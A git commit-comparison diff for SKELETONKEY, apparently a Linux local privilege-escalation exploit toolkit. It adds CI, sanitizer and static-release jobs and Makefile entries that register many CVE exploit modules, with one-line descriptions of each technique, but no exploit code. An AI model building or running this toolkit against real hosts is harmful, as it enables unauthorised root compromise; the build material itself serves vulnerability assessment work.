Compare commits
83 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| e3aa70f208 | |||
| 56f9e4d0dc | |||
| af01d112a5 | |||
| 73c7d09445 | |||
| 65588599ff | |||
| 68dac6c063 | |||
| 678a37b2f5 | |||
| 82ba6e0d08 | |||
| 635f7d2d24 | |||
| 1bdbe011b0 | |||
| cd9bea6399 | |||
| 6960d2076d | |||
| 70972e0c9d | |||
| 6edf78f765 | |||
| 3edad37184 | |||
| 58b44ebc43 | |||
| e01aa99ec6 | |||
| 8c45b2beb8 | |||
| 59cc2be065 | |||
| 24b839eccf | |||
| c55adc1840 | |||
| 5c18b678a5 | |||
| e46a32f11e | |||
| d466fbfdcb | |||
| a8bc81c54c | |||
| b7027a1749 | |||
| 03324c8542 | |||
| 95589e26cb | |||
| 4d0a0e2443 | |||
| 050731396d | |||
| ada56b0db3 | |||
| 28a9289989 | |||
| e457b22c1f | |||
| 60579f1602 | |||
| dd5f4fa06d | |||
| 3d9db6b93e | |||
| bd63aabd64 | |||
| 1663df69d1 | |||
| 6c148e276a | |||
| 35c33df16f | |||
| 25c2afc3e9 | |||
| 13fbbce618 | |||
| bb5ca48fe1 | |||
| 4454d8148e | |||
| fa0228df9b | |||
| d52fcd5512 | |||
| 66cca39a55 | |||
| 92396a0d6d | |||
| 8ac041a295 | |||
| 270ddc1681 | |||
| 7f4a6e1c7c | |||
| f41eed834e | |||
| d84b3b0033 | |||
| 4af82b82d9 | |||
| c12ee6055c | |||
| 3e9f373751 | |||
| 24c2821ae2 | |||
| 5d48a7b0b5 | |||
| 18fa3025f2 | |||
| 5b79b23ff2 | |||
| 264759832a | |||
| 6e0f811a2c | |||
| 312e7d89b5 | |||
| 2c131df1bf | |||
| 48d5f15828 | |||
| 67d091dd37 | |||
| f792a3c4a6 | |||
| 2c4cde1031 | |||
| 5071ad4ba9 | |||
| 554a58757e | |||
| 8ab49f36f6 | |||
| ee3e7dd9a7 | |||
| 39ce4dff09 | |||
| e4a600fef2 | |||
| 60d22eb4f6 | |||
| e2fef41667 | |||
| 8243817f7e | |||
| 8de46e212e | |||
| df4b879527 | |||
| 6b6d638d98 | |||
| 8938a74d04 | |||
| 027fc1f9dd | |||
| 72ac6f8774 |
+24
@@ -0,0 +1,24 @@
|
||||
# clang-tidy configuration for SKELETONKEY core/.
|
||||
#
|
||||
# Defaults are mostly fine. Two checks intentionally disabled:
|
||||
#
|
||||
# clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
|
||||
# This check flags snprintf, fprintf, memset, strncpy, etc. as
|
||||
# "insecure" and recommends the C11 Annex K _s variants
|
||||
# (snprintf_s, memset_s, ...). Annex K is fundamentally not
|
||||
# portable — glibc, musl, and MSVC all either don't implement
|
||||
# it or implement it incompletely. snprintf is already bounds-
|
||||
# checked; this is noise rather than signal in real C code.
|
||||
# The Linux kernel uses these functions everywhere; so does
|
||||
# every C project. Disabling.
|
||||
#
|
||||
# bugprone-easily-swappable-parameters
|
||||
# Flags every function taking 2+ same-typed parameters. False-
|
||||
# positive heavy on small utility functions like
|
||||
# skeletonkey_host_kernel_at_least(host, major, minor, patch)
|
||||
# where the parameter order is documented and obvious. Not
|
||||
# worth the noise.
|
||||
|
||||
Checks: >
|
||||
-clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
|
||||
-bugprone-easily-swappable-parameters
|
||||
@@ -5,6 +5,15 @@ on:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
schedule:
|
||||
# Weekly drift check against CISA KEV + Debian security tracker.
|
||||
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
|
||||
# that haven't propagated into the corpus yet.
|
||||
- cron: '0 6 * * 1'
|
||||
workflow_dispatch:
|
||||
# Lets us trigger the drift-check job on demand (e.g. after a
|
||||
# metadata refresh) without waiting for the weekly cron. The
|
||||
# drift-check job's `if:` gate honors this trigger.
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -16,7 +25,7 @@ jobs:
|
||||
flavor: [default, debug]
|
||||
name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
@@ -67,6 +76,91 @@ jobs:
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci make test
|
||||
|
||||
# ASan + UBSan run. clang-only; catches memory bugs and undefined
|
||||
# behaviour the regular test suite can't see. Runs on the same 88
|
||||
# tests as the main matrix; failures here are real bugs even if
|
||||
# the assertions all pass.
|
||||
sanitizers:
|
||||
runs-on: ubuntu-latest
|
||||
name: sanitizers (ASan + UBSan)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config sudo
|
||||
- name: build + test under sanitizers
|
||||
env:
|
||||
CC: clang
|
||||
# AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
|
||||
# backtraces meaningful while still exercising optimizer paths;
|
||||
# -fno-omit-frame-pointer for ASan stack traces; halt-on-error
|
||||
# so the first finding fails CI loudly rather than scrolling
|
||||
# past silently.
|
||||
CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
|
||||
LDFLAGS: "-fsanitize=address,undefined"
|
||||
run: |
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci -E make test
|
||||
|
||||
# clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
|
||||
# control most tightly). Non-blocking for now — sets a baseline we
|
||||
# can tighten incrementally. Module sources are excluded; many
|
||||
# bundle published PoC code that we keep close to upstream style.
|
||||
clang-tidy:
|
||||
runs-on: ubuntu-latest
|
||||
name: clang-tidy
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
|
||||
- name: lint core + dispatcher
|
||||
run: |
|
||||
clang-tidy core/*.c skeletonkey.c \
|
||||
--warnings-as-errors='' \
|
||||
-- -Icore -Imodules/copy_fail_family/src \
|
||||
-D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
|
||||
|
||||
# Drift check — runs the two refresh scripts in --check / drift mode
|
||||
# against authoritative federal sources. Catches:
|
||||
# - New CISA KEV additions touching CVEs in our corpus
|
||||
# - New Debian security-tracker backport-version updates that move
|
||||
# the kernel_patched_from table thresholds
|
||||
# Network-required (fetches kev.csv + Debian tracker JSON). Runs on
|
||||
# the weekly cron + on-demand via workflow_dispatch. NOT gated on
|
||||
# PRs because random PRs shouldn't fail on upstream feed drift.
|
||||
drift-check:
|
||||
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ubuntu-latest
|
||||
name: drift-check (CISA KEV + Debian tracker)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: cve_metadata drift
|
||||
run: |
|
||||
# Exits 1 if the federal data has drifted from our committed
|
||||
# JSON. Open a PR with `tools/refresh-cve-metadata.py` output
|
||||
# if this fires.
|
||||
python3 tools/refresh-cve-metadata.py --check || {
|
||||
echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
|
||||
exit 1
|
||||
}
|
||||
- name: kernel_range drift
|
||||
run: |
|
||||
# Exits 1 if any module's kernel_patched_from table is
|
||||
# MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
|
||||
# findings are fine.
|
||||
python3 tools/refresh-kernel-ranges.py || {
|
||||
echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Static build job: ensures the project links cleanly when -static is
|
||||
# requested. Useful for deployment to minimal containers / fleet scans
|
||||
# where shared-libc availability isn't guaranteed.
|
||||
@@ -74,7 +168,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
name: static-build
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
|
||||
+110
-31
@@ -32,7 +32,7 @@ jobs:
|
||||
name: build (${{ matrix.target }})
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
@@ -52,20 +52,98 @@ jobs:
|
||||
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-${{ matrix.target }}
|
||||
path: |
|
||||
skeletonkey-${{ matrix.target }}
|
||||
skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
# Portable static-musl x86_64 build. Runs in Alpine (native musl +
|
||||
# linux-headers) so the resulting binary works on every libc —
|
||||
# glibc 2.x of any version, musl, etc. This is what install.sh
|
||||
# fetches by default for x86_64 hosts (the dynamic binary above
|
||||
# hits a glibc-version ceiling on older distros like Debian 12 /
|
||||
# RHEL 8).
|
||||
build-static-x86_64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (x86_64-static / musl)
|
||||
container:
|
||||
image: alpine:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: apk add --no-cache build-base linux-headers tar
|
||||
- name: build static (musl)
|
||||
run: |
|
||||
# MSG_COPY is a Linux-only SysV msg flag that glibc defines
|
||||
# but musl does not — netfilter_xtcompat needs it. Define
|
||||
# the kernel constant explicitly. (Kernel: include/uapi/
|
||||
# linux/msg.h: MSG_COPY = 040000)
|
||||
make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-x86_64-static
|
||||
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-x86_64-static
|
||||
path: |
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
|
||||
# Portable static-musl arm64 build. Cross-compile from the x86_64
|
||||
# runner using dockcross/linux-arm64-musl — a Debian-based cross
|
||||
# toolchain image that ships aarch64-linux-musl-gcc with a clean
|
||||
# musl sysroot + Linux uapi headers. Avoids the two prior failure
|
||||
# modes:
|
||||
# (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
|
||||
# compatible Node, which GitHub doesn't inject on arm64.
|
||||
# (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
|
||||
# /usr/include collide (glibc stdio.h vs musl stdio.h →
|
||||
# __gnuc_va_list / __time64_t conflicts).
|
||||
# dockcross runs glibc Debian (so checkout works), invokes a
|
||||
# bundled aarch64-linux-musl-gcc whose sysroot has its own
|
||||
# consistent musl + linux-uapi tree.
|
||||
build-static-arm64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (arm64-static / musl)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: run dockcross arm64-musl build
|
||||
run: |
|
||||
# Fetch the dockcross wrapper script (handles UID/GID,
|
||||
# volume mounts, env passing). Image already has
|
||||
# aarch64-linux-musl-gcc on PATH.
|
||||
docker run --rm dockcross/linux-arm64-musl > ./dockcross
|
||||
chmod +x ./dockcross
|
||||
./dockcross bash -c '
|
||||
make CC=aarch64-linux-musl-gcc \
|
||||
CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
|
||||
LDFLAGS=-static
|
||||
'
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-arm64-static
|
||||
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-arm64-static
|
||||
path: |
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
|
||||
release:
|
||||
needs: build
|
||||
needs: [build, build-static-x86_64, build-static-arm64]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v8
|
||||
with:
|
||||
path: dist
|
||||
|
||||
@@ -79,34 +157,31 @@ jobs:
|
||||
run: |
|
||||
tag="${GITHUB_REF#refs/tags/}"
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
|
||||
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "Or one-shot via the install script:"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo '```'
|
||||
echo
|
||||
echo "### What's in this release"
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the curated CVE inventory."
|
||||
echo "See [\`ROADMAP.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/ROADMAP.md) for phase progress."
|
||||
} > release-notes.md
|
||||
# Prefer the hand-written release notes if present (richer
|
||||
# per-release context); otherwise fall back to an auto-generated
|
||||
# stub with install instructions + pointers to docs.
|
||||
if [ -f docs/RELEASE_NOTES.md ]; then
|
||||
cp docs/RELEASE_NOTES.md release-notes.md
|
||||
else
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 (dynamic + static-musl) and arm64."
|
||||
echo "Checksums alongside each artifact."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the CVE inventory."
|
||||
echo "See [\`docs/RELEASE_NOTES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/docs/RELEASE_NOTES.md) for per-release detail."
|
||||
} > release-notes.md
|
||||
fi
|
||||
|
||||
- name: publish release
|
||||
uses: softprops/action-gh-release@v2
|
||||
uses: softprops/action-gh-release@v3
|
||||
with:
|
||||
tag_name: ${{ steps.notes.outputs.tag }}
|
||||
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||
@@ -114,7 +189,11 @@ jobs:
|
||||
files: |
|
||||
skeletonkey-x86_64
|
||||
skeletonkey-x86_64.sha256
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
skeletonkey-arm64
|
||||
skeletonkey-arm64.sha256
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
install.sh
|
||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||
|
||||
@@ -8,6 +8,15 @@ modules/*/dirtyfail
|
||||
modules/*/skeletonkey
|
||||
/skeletonkey
|
||||
/skeletonkey-test
|
||||
/skeletonkey-test-kr
|
||||
/skeletonkey-x86_64
|
||||
/skeletonkey-x86_64-static
|
||||
/skeletonkey-x86_64.sha256
|
||||
/skeletonkey-x86_64-static.sha256
|
||||
/skeletonkey-arm64
|
||||
/skeletonkey-arm64.sha256
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
/tools/verify-vm/logs/
|
||||
/tools/verify-vm/.vagrant/
|
||||
|
||||
@@ -20,9 +20,15 @@ BUILD := build
|
||||
BIN := skeletonkey
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c \
|
||||
core/host.c core/cve_metadata.c core/verifications.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Register-every-module helper. Lives in its own translation unit so
|
||||
# the kernel_range unit-test binary can link just CORE_OBJS without
|
||||
# pulling in every module symbol via registry_all.o.
|
||||
REGISTRY_ALL_OBJ := $(BUILD)/core/registry_all.o
|
||||
|
||||
# Family: copy_fail_family
|
||||
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||
CFF_DIR := modules/copy_fail_family
|
||||
@@ -101,11 +107,32 @@ CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
||||
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
||||
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
||||
|
||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family.
|
||||
# The exploit needs a FUSE filesystem to export a setuid-root lower layer;
|
||||
# autodetected via `pkg-config fuse3` (or fuse2). When absent, the module
|
||||
# compiles as a stub that returns PRECOND_FAIL with a hint to install the
|
||||
# libfuse3-dev (or libfuse-dev) package and rebuild.
|
||||
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
||||
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
||||
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
||||
|
||||
# Prefer fuse2 — the public CVE-2023-0386 PoC uses it, and overlay copy-up's
|
||||
# splice path works cleanly through libfuse2's read_buf; libfuse3's read_buf
|
||||
# path returns ENOSYS at copy-up on the kernels tested. Fall back to fuse3.
|
||||
OSU_FUSE2_OK := $(shell pkg-config --exists fuse 2>/dev/null && echo 1 || echo 0)
|
||||
OSU_FUSE3_OK := $(shell pkg-config --exists fuse3 2>/dev/null && echo 1 || echo 0)
|
||||
ifeq ($(OSU_FUSE2_OK),1)
|
||||
OSU_CFLAGS := $(shell pkg-config --cflags fuse) -DOVLSU_HAVE_FUSE
|
||||
OSU_LIBS := $(shell pkg-config --libs fuse)
|
||||
else ifeq ($(OSU_FUSE3_OK),1)
|
||||
OSU_CFLAGS := $(shell pkg-config --cflags fuse3) -DOVLSU_HAVE_FUSE -DOVLSU_FUSE3
|
||||
OSU_LIBS := $(shell pkg-config --libs fuse3)
|
||||
else
|
||||
OSU_CFLAGS :=
|
||||
OSU_LIBS :=
|
||||
endif
|
||||
$(OSU_OBJS): CFLAGS += $(OSU_CFLAGS)
|
||||
|
||||
# Family: nft_set_uaf (CVE-2023-32233)
|
||||
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
||||
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
||||
@@ -174,6 +201,83 @@ endif
|
||||
# paths). Target-specific vars are scoped to this object's recipe.
|
||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||
|
||||
# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
|
||||
SCHW_DIR := modules/sudo_chwoot_cve_2025_32463
|
||||
SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
|
||||
SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
|
||||
|
||||
# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
|
||||
UDB_DIR := modules/udisks_libblockdev_cve_2025_6019
|
||||
UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
|
||||
UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
|
||||
|
||||
# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
|
||||
PTH_DIR := modules/pintheft_cve_2026_43494
|
||||
PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
|
||||
PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
|
||||
|
||||
# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
|
||||
|
||||
# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
|
||||
MUT_DIR := modules/mutagen_astronomy_cve_2018_14634
|
||||
MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
|
||||
MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
|
||||
|
||||
# CVE-2019-14287 sudo Runas -u#-1 underflow
|
||||
SRN_DIR := modules/sudo_runas_neg1_cve_2019_14287
|
||||
SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
|
||||
SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
|
||||
|
||||
# CVE-2020-29661 TIOCSPGRP UAF race
|
||||
TIO_DIR := modules/tioscpgrp_cve_2020_29661
|
||||
TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
|
||||
TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
|
||||
|
||||
# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
|
||||
VSK_DIR := modules/vsock_uaf_cve_2024_50264
|
||||
VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
|
||||
VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
|
||||
|
||||
# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
|
||||
PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||
|
||||
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
|
||||
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
|
||||
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
||||
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
||||
|
||||
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
|
||||
SUH_DIR := modules/sudo_host_cve_2025_32462
|
||||
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
|
||||
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
|
||||
|
||||
# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
|
||||
CIW_DIR := modules/cifswitch_cve_2026_46243
|
||||
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
|
||||
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
|
||||
|
||||
# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
|
||||
NCA_DIR := modules/nft_catchall_cve_2026_23111
|
||||
NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
|
||||
NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
|
||||
|
||||
# CVE-2026-46242 bad_epoll — epoll ep_remove-vs-__fput teardown race UAF ("Bad Epoll", J-jaeyoung kernelCTF)
|
||||
BEP_DIR := modules/bad_epoll_cve_2026_46242
|
||||
BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c
|
||||
BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS))
|
||||
|
||||
# CVE-2026-43499 ghostlock — rtmutex/futex requeue-PI remove_waiter() stack UAF ("GhostLock", VEGA / Nebula Security)
|
||||
GHL_DIR := modules/ghostlock_cve_2026_43499
|
||||
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
|
||||
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
|
||||
|
||||
# CVE-2026-64600 refluxfs — XFS reflink CoW ILOCK-cycling TOCTOU race ("RefluXFS", Qualys TRU)
|
||||
RFX_DIR := modules/refluxfs_cve_2026_64600
|
||||
RFX_SRCS := $(RFX_DIR)/skeletonkey_modules.c
|
||||
RFX_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(RFX_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
@@ -184,31 +288,51 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
|
||||
$(GHL_OBJS) $(RFX_OBJS)
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
# Tests — `make test` builds and runs the detect() unit-test harness.
|
||||
# Links against the same module objects as the main binary minus the
|
||||
# top-level dispatcher (which provides main(); the test has its own).
|
||||
# Tests — `make test` builds and runs both unit-test binaries.
|
||||
#
|
||||
# skeletonkey-test — detect() integration tests against
|
||||
# synthetic host fingerprints. Links
|
||||
# the full module corpus.
|
||||
# skeletonkey-test-kr — pure unit tests for kernel_range +
|
||||
# host comparison helpers. Tiny binary
|
||||
# (core/ only); runs cross-platform.
|
||||
TEST_DIR := tests
|
||||
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||
TEST_BIN := skeletonkey-test
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
TEST_KR_SRCS := $(TEST_DIR)/test_kernel_range.c
|
||||
TEST_KR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_KR_SRCS))
|
||||
TEST_KR_BIN := skeletonkey-test-kr
|
||||
TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help test
|
||||
|
||||
all: $(BIN)
|
||||
|
||||
$(BIN): $(ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
|
||||
|
||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
|
||||
|
||||
test: $(TEST_BIN)
|
||||
@echo "[*] running test suite ($(TEST_BIN))"
|
||||
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||
|
||||
test: $(TEST_BIN) $(TEST_KR_BIN)
|
||||
@echo "[*] running kernel_range unit tests ($(TEST_KR_BIN))"
|
||||
./$(TEST_KR_BIN)
|
||||
@echo
|
||||
@echo "[*] running detect() integration tests ($(TEST_BIN))"
|
||||
./$(TEST_BIN)
|
||||
|
||||
# Generic compile: any .c → corresponding .o under build/
|
||||
@@ -223,7 +347,7 @@ static: LDFLAGS += -static
|
